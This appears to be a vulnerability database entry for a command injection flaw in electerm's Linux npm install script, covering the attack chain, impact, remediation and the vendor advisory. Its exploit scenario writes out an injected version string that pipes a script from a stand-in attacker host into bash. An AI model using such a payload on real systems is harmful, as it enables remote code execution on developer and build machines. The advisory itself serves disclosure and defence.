Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCompromise update server or intercept network traffic
-
DeliveryServe malicious version metadata during npm install
-
ExploitInstallation script concatenates payload into exec() command
-
ExecutionArbitrary commands execute with npm process privileges
-
PersistEstablish persistence or exfiltrate secrets
-
ImpactLateral movement to connected systems
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the attacker to control or manipulate the remote version metadata served during the electerm npm installation process on Linux systems. This can be achieved through: compromise of the electerm update server infrastructure, DNS hijacking or poisoning to redirect update requests to attacker-controlled servers, or man-in-the-middle attacks on unencrypted HTTP connections to the update server. The vulnerability is platform-specific to Linux environments only, as it exists in the runLinux() function - Windows and macOS installations using different code paths are not vulnerable. Exploitation occurs specifically during the npm package installation phase ('npm install -g electerm'), meaning already-installed instances of electerm are not vulnerable to this attack vector unless they are reinstalled or updated. The attack does not require any special configuration of the electerm application itself, but does depend on the installation occurring in an environment where the attacker can intercept or manipulate the update server communication channel. |
| Impact | This vulnerability presents critical real-world risk based on multiple converging factors. The CVSS 3.1 score of 9.8 (AV:N/AC:L/PR:N/UI:N) indicates network-exploitable, low-complexity attack requiring no authentication or user interaction, with complete compromise of confidentiality, integrity, and availability. The attack vector is particularly insidious because it executes during npm package installation - a trusted operation typically run with elevated privileges in CI/CD pipelines, developer workstations, and production deployments. While no EPSS score or CISA KEV listing is provided in the available data, the technical characteristics suggest high exploitability: the attack requires only the ability to serve malicious update metadata, achievable through DNS poisoning, compromised CDN, man-in-the-middle attacks on unencrypted update channels, or direct compromise of the update server infrastructure. The fact that the vendor has already published a fix to npm suggests awareness of exploitation potential. The primary limiting factor is that exploitation targets the installation process rather than runtime, meaning existing installations are not vulnerable unless they reinstall or update - however, this still affects continuous deployment pipelines, containerized environments with frequent rebuilds, and developer onboarding scenarios where fresh installations occur regularly. |
| Exploit ScenarioDerived | An attacker compromises the electerm update server infrastructure or performs a man-in-the-middle attack on the network connection used during npm installation. When a developer or CI/CD pipeline executes 'npm install -g electerm' on a Linux system, the installation script fetches version metadata from the update server. The attacker's malicious response includes a crafted version string such as '1.0.0; curl attacker.com/backdoor.sh | bash; echo' which gets concatenated into the 'rm -rf' command. This injected payload executes arbitrary commands with the privileges of the npm process, typically the installing user or root in containerized environments, allowing the attacker to install backdoors, exfiltrate environment variables and secrets, modify source code, or pivot to other systems accessible from the compromised host. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 24, 2026
Remote code execution in electerm's npm install script allows unauthenticated attackers to execute arbitrary system commands on Linux systems during package installation. The install.js script unsafely concatenates attacker-controlled version strings from the project's update server directly into an 'rm -rf' command, enabling command injection. This critically affects users installing electerm via 'npm install -g electerm' on Linux, as a compromised update server or man-in-the-middle attacker could inject malicious commands during the installation process. The vulnerability has been patched in commit 59708b38c8, and the fixed version is already published to npm.
RemediationAI
Update to the latest version of electerm from npm, which includes the fix from commit 59708b38c8a52f5db59d7d4eff98e31d573128ee. The vendor states the patched version has already been published to the npm registry, so running 'npm update -g electerm' or 'npm install -g electerm@latest' will install the secure version. Verify the installed version includes the patch by checking the package's git commit hash or installation date post-fix publication. The vendor explicitly states no workarounds are available, so upgrading is the only remediation path. Organizations should audit CI/CD pipelines, container base images, and developer environments to ensure they pull the patched version. For air-gapped environments or situations where immediate updates are not feasible, implement network controls to ensure npm installations only occur over verified, encrypted channels to trusted npm registries, and consider using package lock files with hash verification to prevent installation of compromised packages. Review the GitHub advisory at https://github.com/electerm/electerm/security/advisories/GHSA-8x35-hph8-37hq and the patch commit at https://github.com/electerm/electerm/commit/59708b38c8a52f5db59d7d4eff98e31d573128ee for technical details.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This is a classic command injection vulnerability (CWE-77) in a Node.js package's installation script. The vulnerable code path exists in github.com/elcterm/electerm/npm/install.js at line 130, specifically in the runLinux() function. During npm installation, this script fetches release metadata (version strings or release names) from the electerm update server and directly concatenates these values into shell commands executed via Node's child_process.exec() method, specifically an 'rm -rf' command for cleanup operations. Because the remote version strings are not validated or sanitized before being passed to the shell, an attacker who controls the update server response or intercepts the network traffic can inject arbitrary shell metacharacters and commands. The pkg:npm/electerm CPE indicates this affects the npm package distribution channel, making the attack surface any Linux system performing fresh installations or updates of the electerm package.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/electerm/electerm) · only source for this CVE.
CVSS VectorVendor: https://github.com/electerm/electerm
Lifecycle Timeline
2DescriptionCVE.org
Impact
_What kind of vulnerability is it? Who is impacted?_
Command Injection vulnerabilities in electerm:
A command injection vulnerability exists in github.com/elcterm/electerm/npm/install.js:130. The runLinux() function appends attacker-controlled remote version strings directly into an exec("rm -rf ...") command without validation.
Who is impacted: Users who run npm install -g electerm in Linux. An attacker who can control the remote release metadata (version string or release name) served by the project's update server could execute arbitrary system commands, tamper local files, and escalate compromise of development/runtime assets.
---
Patches
_Has the problem been patched? What versions should users upgrade to?_
Fixed in 59708b38c8a52f5db59d7d4eff98e31d573128ee, user no need to upgrade, the new version already published in npm
---
Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
no
Executive ViewAI
CVE-2026-41501 is a critical remote code execution vulnerability in electerm's installation script that allows unauthenticated attackers to execute arbitrary commands on Linux systems during npm package installation through command injection in version string handling. Any organization with developers or systems using 'npm install -g electerm' faces immediate risk of complete system compromise during package installation, regardless of user privilege level. This requires urgent patching across all affected installations.
Apply vendor patch. Until patched, restrict npm install -g electerm to offline/air-gapped environments and disable automatic update checks; however, this does not eliminate risk during installation itself and patching is mandatory.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond
EUVD-2026-28497
GHSA-8x35-hph8-37hq
NVD
CVE.org
EPSS
Exploit-DB